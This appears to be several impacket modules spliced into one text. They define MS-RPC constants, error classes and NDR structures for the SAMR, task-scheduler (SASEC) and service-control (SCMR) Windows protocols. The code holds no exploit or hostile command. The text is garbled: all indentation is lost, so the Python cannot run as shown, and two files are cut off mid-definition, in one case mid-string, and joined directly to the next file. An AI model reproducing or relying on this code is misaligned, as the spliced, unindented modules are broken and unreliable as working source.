from impacket.dcerpc.v5.enum import Enum
from impacket.structure import Structure
MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if nt_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]
return 'SAMR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'SAMR SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
PSAMPR_SERVER_NAME = LPWSTR
# 2.2.1.1 Common ACCESS_MASK Values
DELETE = 0x00010000
READ_CONTROL = 0x00020000
WRITE_DAC = 0x00040000
WRITE_OWNER = 0x00080000
ACCESS_SYSTEM_SECURITY = 0x01000000
MAXIMUM_ALLOWED = 0x02000000
# 2.2.1.2 Generic ACCESS_MASK Values
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
GENERIC_ALL = 0x10000000
# 2.2.1.3 Server ACCESS_MASK Values
SAM_SERVER_CONNECT = 0x00000001
SAM_SERVER_SHUTDOWN = 0x00000002
SAM_SERVER_INITIALIZE = 0x00000004
SAM_SERVER_CREATE_DOMAIN = 0x00000008
SAM_SERVER_ENUMERATE_DOMAINS = 0x00000010
SAM_SERVER_LOOKUP_DOMAIN = 0x00000020
SAM_SERVER_ALL_ACCESS = 0x000F003F
SAM_SERVER_READ = 0x00020010
SAM_SERVER_WRITE = 0x0002000E
SAM_SERVER_EXECUTE = 0x00020021
# 2.2.1.4 Domain ACCESS_MASK Values
DOMAIN_READ_PASSWORD_PARAMETERS = 0x00000001
DOMAIN_WRITE_PASSWORD_PARAMS = 0x00000002
DOMAIN_READ_OTHER_PARAMETERS = 0x00000004
DOMAIN_WRITE_OTHER_PARAMETERS = 0x00000008
DOMAIN_CREATE_USER = 0x00000010
DOMAIN_CREATE_GROUP = 0x00000020
DOMAIN_CREATE_ALIAS = 0x00000040
DOMAIN_GET_ALIAS_MEMBERSHIP = 0x00000080
DOMAIN_LIST_ACCOUNTS = 0x00000100
DOMAIN_LOOKUP = 0x00000200
DOMAIN_ADMINISTER_SERVER = 0x00000400
DOMAIN_ALL_ACCESS = 0x000F07FF
DOMAIN_READ = 0x00020084
DOMAIN_WRITE = 0x0002047A
DOMAIN_EXECUTE = 0x00020301
# 2.2.1.5 Group ACCESS_MASK Values
GROUP_READ_INFORMATION = 0x00000001
GROUP_WRITE_ACCOUNT = 0x00000002
GROUP_ADD_MEMBER = 0x00000004
GROUP_REMOVE_MEMBER = 0x00000008
GROUP_LIST_MEMBERS = 0x00000010
GROUP_ALL_ACCESS = 0x000F001F
GROUP_READ = 0x00020010
GROUP_WRITE = 0x0002000E
GROUP_EXECUTE = 0x00020001
# 2.2.1.6 Alias ACCESS_MASK Values
ALIAS_ADD_MEMBER = 0x00000001
ALIAS_REMOVE_MEMBER = 0x00000002
ALIAS_LIST_MEMBERS = 0x00000004
ALIAS_READ_INFORMATION = 0x00000008
ALIAS_WRITE_ACCOUNT = 0x00000010
ALIAS_ALL_ACCESS = 0x000F001F
ALIAS_READ = 0x00020004
ALIAS_WRITE = 0x00020013
ALIAS_EXECUTE = 0x00020008
# 2.2.1.7 User ACCESS_MASK Values
USER_READ_GENERAL = 0x00000001
USER_READ_PREFERENCES = 0x00000002
USER_WRITE_PREFERENCES = 0x00000004
USER_READ_LOGON = 0x00000008
USER_READ_ACCOUNT = 0x00000010
USER_WRITE_ACCOUNT = 0x00000020
USER_CHANGE_PASSWORD = 0x00000040
USER_FORCE_PASSWORD_CHANGE = 0x00000080
USER_LIST_GROUPS = 0x00000100
USER_READ_GROUP_INFORMATION = 0x00000200
USER_WRITE_GROUP_INFORMATION = 0x00000400
USER_ALL_ACCESS = 0x000F07FF
USER_READ = 0x0002031A
USER_WRITE = 0x00020044
USER_EXECUTE = 0x00020041
# 2.2.1.8 USER_ALL Values
USER_ALL_USERNAME = 0x00000001
USER_ALL_FULLNAME = 0x00000002
USER_ALL_USERID = 0x00000004
USER_ALL_PRIMARYGROUPID = 0x00000008
USER_ALL_ADMINCOMMENT = 0x00000010
USER_ALL_USERCOMMENT = 0x00000020
USER_ALL_HOMEDIRECTORY = 0x00000040
USER_ALL_HOMEDIRECTORYDRIVE = 0x00000080
USER_ALL_SCRIPTPATH = 0x00000100
USER_ALL_PROFILEPATH = 0x00000200
USER_ALL_WORKSTATIONS = 0x00000400
USER_ALL_LASTLOGON = 0x00000800
USER_ALL_LASTLOGOFF = 0x00001000
USER_ALL_LOGONHOURS = 0x00002000
USER_ALL_BADPASSWORDCOUNT = 0x00004000
USER_ALL_LOGONCOUNT = 0x00008000
USER_ALL_PASSWORDCANCHANGE = 0x00010000
USER_ALL_PASSWORDMUSTCHANGE = 0x00020000
USER_ALL_PASSWORDLASTSET = 0x00040000
USER_ALL_ACCOUNTEXPIRES = 0x00080000
USER_ALL_USERACCOUNTCONTROL = 0x00100000
USER_ALL_PARAMETERS = 0x00200000
USER_ALL_COUNTRYCODE = 0x00400000
USER_ALL_CODEPAGE = 0x00800000
USER_ALL_NTPASSWORDPRESENT = 0x01000000
USER_ALL_LMPASSWORDPRESENT = 0x02000000
USER_ALL_PRIVATEDATA = 0x04000000
USER_ALL_PASSWORDEXPIRED = 0x08000000
USER_ALL_SECURITYDESCRIPTOR = 0x10000000
USER_ALL_UNDEFINED_MASK = 0xC0000000
# 2.2.1.9 ACCOUNT_TYPE Values
SAM_DOMAIN_OBJECT = 0x00000000
SAM_GROUP_OBJECT = 0x10000000
SAM_NON_SECURITY_GROUP_OBJECT = 0x10000001
SAM_ALIAS_OBJECT = 0x20000000
SAM_NON_SECURITY_ALIAS_OBJECT = 0x20000001
SAM_USER_OBJECT = 0x30000000
SAM_MACHINE_ACCOUNT = 0x30000001
SAM_TRUST_ACCOUNT = 0x30000002
SAM_APP_BASIC_GROUP = 0x40000000
SAM_APP_QUERY_GROUP = 0x40000001
# 2.2.1.10 SE_GROUP Attributes
SE_GROUP_MANDATORY = 0x00000001
SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002
SE_GROUP_ENABLED = 0x00000004
# 2.2.1.11 GROUP_TYPE Codes
GROUP_TYPE_ACCOUNT_GROUP = 0x00000002
GROUP_TYPE_RESOURCE_GROUP = 0x00000004
GROUP_TYPE_UNIVERSAL_GROUP = 0x00000008
GROUP_TYPE_SECURITY_ENABLED = 0x80000000
GROUP_TYPE_SECURITY_ACCOUNT = 0x80000002
GROUP_TYPE_SECURITY_RESOURCE = 0x80000004
GROUP_TYPE_SECURITY_UNIVERSAL = 0x80000008
# 2.2.1.12 USER_ACCOUNT Codes
USER_ACCOUNT_DISABLED = 0x00000001
USER_HOME_DIRECTORY_REQUIRED = 0x00000002
USER_PASSWORD_NOT_REQUIRED = 0x00000004
USER_TEMP_DUPLICATE_ACCOUNT = 0x00000008
USER_NORMAL_ACCOUNT = 0x00000010
USER_MNS_LOGON_ACCOUNT = 0x00000020
USER_INTERDOMAIN_TRUST_ACCOUNT = 0x00000040
USER_WORKSTATION_TRUST_ACCOUNT = 0x00000080
USER_SERVER_TRUST_ACCOUNT = 0x00000100
USER_DONT_EXPIRE_PASSWORD = 0x00000200
USER_ACCOUNT_AUTO_LOCKED = 0x00000400
USER_ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x00000800
USER_SMARTCARD_REQUIRED = 0x00001000
USER_TRUSTED_FOR_DELEGATION = 0x00002000
USER_NOT_DELEGATED = 0x00004000
USER_USE_DES_KEY_ONLY = 0x00008000
USER_DONT_REQUIRE_PREAUTH = 0x00010000
USER_PASSWORD_EXPIRED = 0x00020000
USER_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x00040000
USER_NO_AUTH_DATA_REQUIRED = 0x00080000
USER_PARTIAL_SECRETS_ACCOUNT = 0x00100000
USER_USE_AES_KEYS = 0x00200000
# 2.2.1.13 UF_FLAG Codes
UF_SCRIPT = 0x00000001
UF_ACCOUNTDISABLE = 0x00000002
UF_HOMEDIR_REQUIRED = 0x00000008
UF_LOCKOUT = 0x00000010
UF_PASSWD_NOTREQD = 0x00000020
UF_PASSWD_CANT_CHANGE = 0x00000040
UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x00000080
UF_TEMP_DUPLICATE_ACCOUNT = 0x00000100
UF_NORMAL_ACCOUNT = 0x00000200
UF_INTERDOMAIN_TRUST_ACCOUNT = 0x00000800
UF_WORKSTATION_TRUST_ACCOUNT = 0x00001000
UF_SERVER_TRUST_ACCOUNT = 0x00002000
UF_DONT_EXPIRE_PASSWD = 0x00010000
UF_MNS_LOGON_ACCOUNT = 0x00020000
UF_SMARTCARD_REQUIRED = 0x00040000
UF_TRUSTED_FOR_DELEGATION = 0x00080000
UF_NOT_DELEGATED = 0x00100000
UF_USE_DES_KEY_ONLY = 0x00200000
UF_DONT_REQUIRE_PREAUTH = 0x00400000
UF_PASSWORD_EXPIRED = 0x00800000
UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x01000000
UF_NO_AUTH_DATA_REQUIRED = 0x02000000
UF_PARTIAL_SECRETS_ACCOUNT = 0x04000000
UF_USE_AES_KEYS = 0x08000000
# 2.2.1.14 Predefined RIDs
DOMAIN_USER_RID_ADMIN = 0x000001F4
DOMAIN_USER_RID_GUEST = 0x000001F5
DOMAIN_USER_RID_KRBTGT = 0x000001F6
DOMAIN_GROUP_RID_ADMINS = 0x00000200
DOMAIN_GROUP_RID_USERS = 0x00000201
DOMAIN_GROUP_RID_COMPUTERS = 0x00000203
DOMAIN_GROUP_RID_CONTROLLERS = 0x00000204
DOMAIN_ALIAS_RID_ADMINS = 0x00000220
DOMAIN_GROUP_RID_READONLY_CONTROLLERS = 0x00000209
# 2.2.4.1 Domain Fields
DOMAIN_PASSWORD_COMPLEX = 0x00000001
DOMAIN_PASSWORD_NO_ANON_CHANGE = 0x00000002
DOMAIN_PASSWORD_NO_CLEAR_CHANGE = 0x00000004
DOMAIN_LOCKOUT_ADMINS = 0x00000008
DOMAIN_PASSWORD_STORE_CLEARTEXT = 0x00000010
DOMAIN_REFUSE_PASSWORD_CHANGE = 0x00000020
# 2.2.9.2 SAM_VALIDATE_PERSISTED_FIELDS PresentFields
SAM_VALIDATE_PASSWORD_LAST_SET = 0x00000001
SAM_VALIDATE_BAD_PASSWORD_TIME = 0x00000002
SAM_VALIDATE_LOCKOUT_TIME = 0x00000004
SAM_VALIDATE_BAD_PASSWORD_COUNT = 0x00000008
SAM_VALIDATE_PASSWORD_HISTORY_LENGTH = 0x00000010
SAM_VALIDATE_PASSWORD_HISTORY = 0x00000020
################################################################################
# STRUCTURES
################################################################################
class RPC_UNICODE_STRING_ARRAY(NDRUniConformantVaryingArray):
item = RPC_UNICODE_STRING
class RPC_UNICODE_STRING_ARRAY_C(NDRUniConformantArray):
item = RPC_UNICODE_STRING
class PRPC_UNICODE_STRING_ARRAY(NDRPOINTER):
referent = (
('Data',RPC_UNICODE_STRING_ARRAY_C),
)
# 2.2.2.1 RPC_STRING, PRPC_STRING
class RPC_STRING(NDRSTRUCT):
commonHdr = (
('MaximumLength','.
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR, NULL
from impacket import hresult_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
MSRPC_UUID_SASEC = uuidtup_to_bin(('378E52B0-C0A9-11CF-822D-00AA0051E40F','1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if hresult_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
SASEC_HANDLE = WSTR
PSASEC_HANDLE = LPWSTR
MAX_BUFFER_SIZE = 273
# 3.2.5.3.4 SASetAccountInformation (Opnum 0)
TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x40000
################################################################################
# STRUCTURES
################################################################################
class WORD_ARRAY(NDRUniConformantArray):
item = '.
# There are test cases for them too.
#
from struct import pack, unpack
from impacket import system_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.ndr import NDRCALL, NDR, NDRSTRUCT, NDRPOINTER, NDRPOINTERNULL, NDRUniConformantArray, NDRUNION
from impacket.dcerpc.v5.dtypes import NULL, DWORD, LPWSTR, ULONG, BOOL, LPBYTE, ULONGLONG, PGUID, USHORT, LPDWORD, WSTR, \
GUID, PBOOL, WIDESTR
from impacket.dcerpc.v5.rpcrt import DCERPCException
MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if system_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'SCMR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'SCMR SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# Access codes
SERVICE_ALL_ACCESS = 0X000F01FF
SERVICE_CHANGE_CONFIG = 0X00000002
SERVICE_ENUMERATE_DEPENDENTS = 0X00000008
SERVICE_INTERROGATE = 0X00000080
SERVICE_PAUSE_CONTINUE = 0X00000040
SERVICE_QUERY_CONFIG = 0X00000001
SERVICE_QUERY_STATUS = 0X00000004
SERVICE_START = 0X00000010
SERVICE_STOP = 0X00000020
SERVICE_USER_DEFINED_CTRL = 0X00000100
SERVICE_SET_STATUS = 0X00008000
# Specific Access for SCM
SC_MANAGER_LOCK = 0x00000008
SC_MANAGER_CREATE_SERVICE = 0x00000002
SC_MANAGER_ENUMERATE_SERVICE = 0x00000004
SC_MANAGER_CONNECT = 0x00000001
SC_MANAGER_QUERY_LOCK_STATUS = 0x00000010
SC_MANAGER_MODIFY_BOOT_CONFIG = 0x00000020
# Service Types
SERVICE_KERNEL_DRIVER = 0x00000001
SERVICE_FILE_SYSTEM_DRIVER = 0x00000002
SERVICE_WIN32_OWN_PROCESS = 0x00000010
SERVICE_WIN32_SHARE_PROCESS = 0x00000020
SERVICE_INTERACTIVE_PROCESS = 0x00000100
SERVICE_NO_CHANGE = 0xffffffff
# Start Types
SERVICE_BOOT_START = 0x00000000
SERVICE_SYSTEM_START = 0x00000001
SERVICE_AUTO_START = 0x00000002
SERVICE_DEMAND_START = 0x00000003
SERVICE_DISABLED = 0x00000004
SERVICE_NO_CHANGE = 0xffffffff
# Error Control
SERVICE_ERROR_IGNORE = 0x00000000
SERVICE_ERROR_NORMAL = 0x00000001
SERVICE_ERROR_SEVERE = 0x00000002
SERVICE_ERROR_CRITICAL = 0x00000003
SERVICE_NO_CHANGE = 0xffffffff
# Service Control Codes
SERVICE_CONTROL_CONTINUE = 0x00000003
SERVICE_CONTROL_INTERROGATE = 0x00000004
SERVICE_CONTROL_PARAMCHANGE = 0x00000006
SERVICE_CONTROL_PAUSE = 0x00000002
SERVICE_CONTROL_STOP = 0x00000001
SERVICE_CONTROL_NETBINDADD = 0x00000007
SERVICE_CONTROL_NETBINDREMOVE = 0x00000008
SERVICE_CONTROL_NETBINDENABLE = 0x00000009
SERVICE_CONTROL_NETBINDDISABLE= 0x0000000A
# Service State
SERVICE_ACTIVE = 0x00000001
SERVICE_INACTIVE = 0x00000002
SERVICE_STATE_ALL = 0x00000003
# Current State
SERVICE_CONTINUE_PENDING = 0x00000005
SERVICE_PAUSE_PENDING = 0x00000006
SERVICE_PAUSED = 0x00000007
SERVICE_RUNNING = 0x00000004
SERVICE_START_PENDING = 0x00000002
SERVICE_STOP_PENDING = 0x00000003
SERVICE_STOPPED = 0x00000001
# Controls Accepted
SERVICE_ACCEPT_PARAMCHANGE = 0x00000008
SERVICE_ACCEPT_PAUSE_CONTINUE = 0x00000002
SERVICE_ACCEPT_SHUTDOWN = 0x00000004
SERVICE_ACCEPT_STOP = 0x00000001
SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 0x00000020
SERVICE_ACCEPT_POWEREVENT = 0x00000040
SERVICE_ACCEPT_SESSIONCHANGE = 0x00000080
SERVICE_ACCEPT_PRESHUTDOWN = 0x00000100
SERVICE_ACCEPT_TIMECHANGE = 0x00000200
ERVICE_ACCEPT_TRIGGEREVENT = 0x00000400
# Security Information
DACL_SECURITY_INFORMATION = 0x4
GROUP_SECURITY_INFORMATION = 0x2
OWNER_SECURITY_INFORMATION = 0x1
SACL_SECURITY_INFORMATION = 0x8
# Service Config2 Info Levels
SERVICE_CONFIG_DESCRIPTION = 0x00000001
SERVICE_CONFIG_FAILURE_ACTIONS = 0x00000002
SERVICE_CONFIG_DELAYED_AUTO_START_INFO = 0x00000003
SERVICE_CONFIG_FAILURE_ACTIONS_FLAG = 0x00000004
SERVICE_CONFIG_SERVICE_SID_INFO = 0x00000005
SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO = 0x00000006
SERVICE_CONFIG_PRESHUTDOWN_INFO = 0x00000007
SERVICE_CONFIG_PREFERRED_NODE = 0x00000009
SERVICE_CONFIG_RUNLEVEL_INFO = 0x0000000A
# SC_ACTIONS Types
SC_ACTION_NONE = 0
SC_ACTION_RESTART = 1
SC_ACTION_REBOOT = 2
SC_ACTION_RUN_COMMAND = 3
# SERVICE_SID_INFO types
SERVICE_SID_TYPE_NONE = 0x00000000
SERVICE_SID_TYPE_RESTRICTED = 0x00000003
SERVICE_SID_TYPE_UNRESTRICTED = 0x00000001
# SC_STATUS_TYPE types
SC_STATUS_PROCESS_INFO = 0
# Notify Mask
SERVICE_NOTIFY_CREATED = 0x00000080
SERVICE_NOTIFY_CONTINUE_PENDING = 0x00000010
SERVICE_NOTIFY_DELETE_PENDING = 0x00000200
SERVICE_NOTIFY_DELETED = 0x00000100
SERVICE_NOTIFY_PAUSE_PENDING = 0x00000020
SERVICE_NOTIFY_PAUSED = 0x00000040
SERVICE_NOTIFY_RUNNING = 0x00000008
SERVICE_NOTIFY_START_PENDING = 0x00000002
SERVICE_NOTIFY_STOP_PENDING = 0x00000004
SERVICE_NOTIFY_STOPPED = 0x00000001
# SERVICE_CONTROL_STATUS_REASON_IN_PARAMSW Reasons
SERVICE_STOP_CUSTOM = 0x20000000
SERVICE_STOP_PLANNED = 0x40000000
SERVICE_STOP_UNPLANNED = 0x10000000
# SERVICE_TRIGGER triggers
SERVICE_TRIGGER_TYPE_DEVICE_INTERFACE_ARRIVAL = 0x00000001
SERVICE_TRIGGER_TYPE_IP_ADDRESS_AVAILABILITY = 0x00000002
SERVICE_TRIGGER_TYPE_DOMAIN_JOIN = 0x00000003
SERVICE_TRIGGER_TYPE_FIREWALL_PORT_EVENT = 0x00000004
SERVICE_TRIGGER_TYPE_GROUP_POLICY = 0x00000005
SERVICE_TRIGGER_TYPE_CUSTOM = 0x00000020
# SERVICE_TRIGGER actions
SERVICE_TRIGGER_ACTION_SERVICE_START = 0x00000001
SERVICE_TRIGGER_ACTION_SERVICE_STOP = 0x00000002
# SERVICE_TRIGGER subTypes
DOMAIN_JOIN_GUID = '1ce20aba-9851-4421-9430-1ddeb766e809'
DOMAIN_LEAVE_GUID = 'ddaf516e-58c2-4866-9574-c3b615d42ea1'
FIREWALL_PORT_OPEN_GUID = 'b7569e07-8421-4ee0-ad10-86915afdad09'
FIREWALL_PORT_CLOSE_GUID = 'a144ed38-8e12-4de4-9d96-e64740b1a524'
MACHINE_POLICY_PRESENT_GUID = '659FCAE6-5BDB-4DA9-B1FF-CA2A178D46E0'
NETWORK_MANAGER_FIRST_IP_ADDRESS_ARRIVAL_GUID = '4f27f2de-14e2-430b-a549-7cd48cbc8245'
NETWORK_MANAGER_LAST_IP_ADDRESS_REMOVAL_GUID = 'cc4ba62a-162e-4648-847a-b6bdf993e335'
USER_POLICY_PRESENT_GUID = '54FB46C8-F089-464C-B1FD-59D1B62C3B50'
# SERVICE_TRIGGER_SPECIFIC_DATA_ITEM dataTypes
SERVICE_TRIGGER_DATA_TYPE_BINARY = 0x00000001
SERVICE_TRIGGER_DATA_TYPE_STRING = 0x00000002
################################################################################
# STRUCTURES
################################################################################
class SC_RPC_HANDLE(NDRSTRUCT):
structure = (
('Data','20s=""'),
)
def getAlignment(self):
return 1
SC_NOTIFY_RPC_HANDLE = SC_RPC_HANDLE
class SERVICE_STATUS(NDRSTRUCT):
structure = (
('dwServiceType',DWORD),
('dwCurrentState',DWORD),
('dwControlsAccepted',DWORD),
('dwWin32ExitCode',DWORD),
('dwServiceSpecificExitCode',DWORD),
('dwCheckPoint',DWORD),
('dwWaitHint',DWORD),
)
class QUERY_SERVICE_CONFIGW(NDRSTRUCT):
structure = (
('dwServiceType',DWORD),
('dwStartType',DWORD),
('dwErrorControl',DWORD),
('lpBinaryPathName', LPWSTR),
('lpLoadOrderGroup',LPWSTR),
('dwTagId',DWORD),
('lpDependencies',LPWSTR),
('lpServiceStartName',LPWSTR),
('lpDisplayName',LPWSTR),
)
class SC_RPC_LOCK(NDRSTRUCT):
structure = (
('Data','20s=""'),
)
def getAlignment(self):
return 1
class LPSERVICE_STATUS(NDRPOINTER):
referent = (
('Data',SERVICE_STATUS),
)
SECURITY_INFORMATION = ULONG
BOUNDED_DWORD_256K = DWORD
class LPBOUNDED_DWORD_256K(NDRPOINTER):
referent = (
('Data', BOUNDED_DWORD_256K),
)
SVCCTL_HANDLEW = LPWSTR
class ENUM_SERVICE_STATUSW(NDRSTRUCT):
structure = (
('lpServiceName',LPWSTR),
('lpDisplayName',LPWSTR),
('ServiceStatus',SERVICE_STATUS),
)
class LPQUERY_SERVICE_CONFIGW(NDRPOINTER):
referent = (
('Data', QUERY_SERVICE_CONFIGW),
)
BOUNDED_DWORD_8K = DWORD
BOUNDED_DWORD_4K = DWORD
class STRING_PTRSW(NDRSTRUCT):
structure = (
('Data',NDRUniConformantArray),
)
def __init__(self, data = None, isNDR64 = False):
NDR.__init__(self,None,isNDR64)
self.fields['Data'].item = LPWSTR
if data is not None:
self.fromString(data)
class UNIQUE_STRING_PTRSW(NDRPOINTER):
referent = (
('Data', STRING_PTRSW),
)
class QUERY_SERVICE_LOCK_STATUSW(NDRSTRUCT):
structure = (
('fIsLocked',DWORD),
('lpLockOwner',LPWSTR),
('dwLockDuration',DWORD),
)
class SERVICE_DESCRIPTION_WOW64(NDRSTRUCT):
structure = (
('dwDescriptionOffset', DWORD),
)
class SERVICE_DESCRIPTIONW(NDRSTRUCT):
structure = (
('lpDescription', LPWSTR),
)
class LPSERVICE_DESCRIPTIONW(NDRPOINTER):
referent = (
('Data', SERVICE_DESCRIPTIONW),
)
class SERVICE_FAILURE_ACTIONS_WOW64(NDRSTRUCT):
structure = (
('dwResetPeriod', DWORD),
('dwRebootMsgOffset', DWORD),
('dwCommandOffset', DWORD),
('cActions', DWORD),
('dwsaActionsOffset', DWORD),
)
class SC_ACTION(NDRSTRUCT):
structure = (
('Type', DWORD),
('Delay', DWORD) ,
)
class SC_ACTIONS(NDRSTRUCT):
structure = (
('Data', NDRUniConformantArray),
)
def __init__(self, data = None, isNDR64 = False):
NDR.__init__(self,None,isNDR64)
self.fields['Data'].item = SC_ACTION
if data is not None:
self.fromString(data)
class SERVICE_FAILURE_ACTIONSW(NDRSTRUCT):
structure = (
('dwResetPeriod', DWORD),
('lpRebootMsg', LPWSTR) ,
('lpCommand', LPWSTR) ,
('cActions', DWORD) ,
('lpsaActions', SC_ACTIONS) ,
)
class LPSERVICE_FAILURE_ACTIONSW(NDRPOINTER):
referent = (
('Data', SERVICE_FAILURE_ACTIONSW),
)
class SERVICE_FAILURE_ACTIONS_FLAG(NDRSTRUCT):
structure = (
('fFailureActionsOnNonCrashFailures', BOOL),
)
class LPSERVICE_FAILURE_ACTIONS_FLAG(NDRPOINTER):
referent = (
('Data', SERVICE_FAILURE_ACTIONS_FLAG),
)
class SERVICE_DELAYED_AUTO_START_INFO(NDRSTRUCT):
structure = (
('fDelayedAutostart', BOOL),
)
class LPSERVICE_DELAYED_AUTO_START_INFO(NDRPOINTER):
referent = (
('Data', SERVICE_DELAYED_AUTO_START_INFO),
)
class SERVICE_SID_INFO(NDRSTRUCT):
structure = (
('dwServiceSidType', DWORD),
)
class LPSERVICE_SID_INFO(NDRPOINTER):
referent = (
('Data', SERVICE_SID_INFO),
)
class SERVICE_RPC_REQUIRED_PRIVILEGES_INFO(NDRSTRUCT):
structure = (
('cbRequiredPrivileges',DWORD),
('pRequiredPrivileges',LPBYTE),
)
def getData(self, soFar = 0):
self['cbRequiredPrivileges'] = len(self['pRequiredPrivileges'])
return NDR.getData(self, soFar = 0)
class LPSERVICE_RPC_REQUIRED_PRIVILEGES_INFO(NDRPOINTER):
referent = (
('Data', SERVICE_RPC_REQUIRED_PRIVILEGES_INFO),
)
class SERVICE_REQUIRED_PRIVILEGES_INFO_WOW64(NDRSTRUCT):
structure = (
('dwRequiredPrivilegesOffset', DWORD),
)
class SERVICE_PRESHUTDOWN_INFO(NDRSTRUCT):
structure = (
('dwPreshutdownTimeout', DWORD),
)
class LPSERVICE_PRESHUTDOWN_INFO(NDRPOINTER):
referent = (
('Data', SERVICE_PRESHUTDOWN_INFO),
)
class SERVICE_STATUS_PROCESS(NDRSTRUCT):
structure = (
('dwServiceType', DWORD),
('dwCurrentState', DWORD),
('dwControlsAccepted', DWORD),
('dwWin32ExitCode', DWORD),
('dwServiceSpecificExitCode', DWORD),
('dwCheckPoint', DWORD),
('dwWaitHint', DWORD),
('dwProcessId', DWORD),
('dwServiceFlags', DWORD),
)
class UCHAR_16(NDRSTRUCT):
structure = (
('Data', '16s=""'),
)
def getAlignment(self):
return 1
class SERVICE_NOTIFY_STATUS_CHANGE_PARAMS_1(NDRSTRUCT):
structure = (
('ullThreadId',ULONGLONG),
('dwNotifyMask',DWORD),
('CallbackAddressArray',UCHAR_16),
('CallbackParamAddressArray',UCHAR_16),
('ServiceStatus', SERVICE_STATUS_PROCESS),
('dwNotificationStatus',DWORD),
('dwSequence',DWORD),
)
class SERVICE_NOTIFY_STATUS_CHANGE_PARAMS_2(NDRSTRUCT):
structure = (
('ullThreadId',ULONGLONG),
('dwNotifyMask',DWORD),
('CallbackAddressArray',UCHAR_16),
('CallbackParamAddressArray',UCHAR_16),
('ServiceStatus',SERVICE_STATUS_PROCESS),
('dwNotificationStatus',DWORD),
('dwSequence',DWORD),
('dwNotificationTriggered',DWORD),
('pszServiceNames',LPWSTR),
)
class PSERVICE_NOTIFY_STATUS_CHANGE_PARAMS_1(NDRPOINTER):
referent = (
('Data', SERVICE_NOTIFY_STATUS_CHANGE_PARAMS_1),
)
class PSERVICE_NOTIFY_STATUS_CHANGE_PARAMS_2(NDRPOINTER):
referent = (
('Data', SERVICE_NOTIFY_STATUS_CHANGE_PARAMS_2),
)
class SC_RPC_NOTIFY_PARAMS(NDRUNION):
union = {
1: ('pStatusChangeParam1', PSERVICE_NOTIFY_STATUS_CHANGE_PARAMS_1),
2: ('pStatusChangeParams', PSERVICE_NOTIFY_STATUS_CHANGE_PARAMS_2),
}
class SC_RPC_NOTIFY_PARAMS_ARRAY(NDRUniConformantArray):
item = SC_RPC_NOTIFY_PARAMS
class PSC_RPC_NOTIFY_PARAMS_LIST(NDRSTRUCT):
structure = (
('cElements',BOUNDED_DWORD_4K),
('NotifyParamsArray', SC_RPC_NOTIFY_PARAMS_ARRAY),
)
class SERVICE_CONTROL_STATUS_REASON_IN_PARAMSW(NDRSTRUCT):
structure = (
('dwReason', DWORD),
('pszComment', LPWSTR),
)
class SERVICE_TRIGGER_SPECIFIC_DATA_ITEM(NDRSTRUCT):
structure = (
('dwDataType',DWORD ),
('cbData',DWORD),
('pData', LPBYTE),
)
def getData(self, soFar = 0):
if self['pData'] != 0:
self['cbData'] = len(self['pData'])
return NDR.getData(self, soFar)
class SERVICE_TRIGGER_SPECIFIC_DATA_ITEM_ARRAY(NDRUniConformantArray):
item = SERVICE_TRIGGER_SPECIFIC_DATA_ITEM
class PSERVICE_TRIGGER_SPECIFIC_DATA_ITEM(NDRPOINTER):
referent = (
('Data', SERVICE_TRIGGER_SPECIFIC_DATA_ITEM_ARRAY),
)
class SERVICE_TRIGGER(NDRSTRUCT):
structure = (
('dwTriggerType', DWORD),
('dwAction', DWORD),
('pTriggerSubtype', PGUID),
('cDataItems', DWORD),
('pDataItems', PSERVICE_TRIGGER_SPECIFIC_DATA_ITEM),
)
def getData(self, soFar = 0):
if self['pDataItems'] != 0:
self['cDataItems'] = len(self['pDataItems'])
return NDR.getData(self, soFar)
class SERVICE_TRIGGER_ARRAY(NDRUniConformantArray):
item = SERVICE_TRIGGER
class PSERVICE_TRIGGER(NDRPOINTER):
referent = (
('Data', SERVICE_TRIGGER_ARRAY),
)
class SERVICE_CONTROL_STATUS_REASON_OUT_PARAMS(NDRSTRUCT):
structure = (
